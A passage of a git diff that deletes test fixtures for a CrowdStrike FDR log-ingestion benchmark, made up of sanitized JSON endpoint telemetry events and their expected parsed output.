-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log
deleted file mode 100644
index 24929e164d..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log
+++ /dev/null
@@ -1 +0,0 @@
-{"FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","aid":"1111","cid":"2222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml
deleted file mode 100644
index 087e1a7e76..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-fields:
-  "@timestamp": "2020-04-28T11:07:58.223Z"
-  tags:
-    - preserve_original_event
-  _conf:
-    long_fields: index_long_fields
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json
deleted file mode 100644
index 4bb54daa38..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json
+++ /dev/null
@@ -1,81 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-10-01T09:58:32.519Z",
-            "crowdstrike": {
-                "EventType": "ZeroTrustHostAssessment",
-                "FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
-                "HostHiddenStatus": "VISIBLE",
-                "assessments": {
-                    "analytics_and_improvements_mac": "yes",
-                    "application_firewall_mac": "yes",
-                    "crendential_dumping_hash_mac": "yes",
-                    "crendential_dumping_kcpassword_mac": "yes",
-                    "crowdstrike_full_disk_access": "yes",
-                    "execution_blocking_custom_blocking_enabled_mac": "yes",
-                    "execution_blocking_intel_threats_enabled_mac": "yes",
-                    "execution_blocking_suspicious_processes_enabled_mac": "yes",
-                    "file_vault_enabled_mac": "yes",
-                    "gatekeeper_mac": "yes",
-                    "internet_sharing_mac": "yes",
-                    "mac_os_version": "yes",
-                    "ml_adware_detection_mac": "yes",
-                    "ml_adware_prevention_mac": "yes",
-                    "ml_cloud_antimalware_detection_mac": "yes",
-                    "ml_cloud_antimalware_prevention_mac": "yes",
-                    "ml_sensor_adware_and_pup_detection_mac": "yes",
-                    "ml_sensor_adware_and_pup_prevention_mac": "yes",
-                    "ml_sensor_antimalware_detection_mac": "yes",
-                    "ml_sensor_antimalware_prevention_mac": "yes",
-                    "quarantine_mac": "yes",
-                    "real_time_response_enabled_mac": "yes",
-                    "remote_login_mac": "yes",
-                    "script_based_execution_monitoring_mac": "yes",
-                    "sip_enabled_mac": "yes",
-                    "stealth_mode_mac": "no",
-                    "system_full_disk_access_mac": "no",
-                    "unauthorized_remote_access_chopper_mac": "yes",
-                    "unauthorized_remote_access_empyre_mac": "yes",
-                    "unauthorized_remote_access_xpcom_mac": "yes"
-                },
-                "cid": "2222",
-                "os_version": "Sonoma (14)",
-                "product_type_desc": "Workstation",
-                "scores": {
-                    "modified_time": "2024-02-13T22:33:34.077Z",
-                    "os": 89,
-                    "overall": 97,
-                    "sensor": 100,
-                    "version": "3.8.1"
-                }
-            },
-            "device": {
-                "id": "1111"
-            },
-            "event": {
-                "created": "2020-10-01T09:58:32.519Z",
-                "id": "|1111|2222",
-                "original": "{\"FileContent\": \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\",\"aid\":\"1111\",\"cid\":\"2222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}"
-            },
-            "host": {
-                "hostname": "example-XXXXXXXXX",
-                "id": "1111",
-                "name": "example-XXXXXXXXX",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "observer": {
-                "serial_number": "1111"
-            },
-            "related": {
-                "hosts": [
-                    "example-XXXXXXXXX"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log
deleted file mode 100644
index c3de03a23b..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log
+++ /dev/null
@@ -1,138 +0,0 @@
-{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"}
-{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"}
-{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD 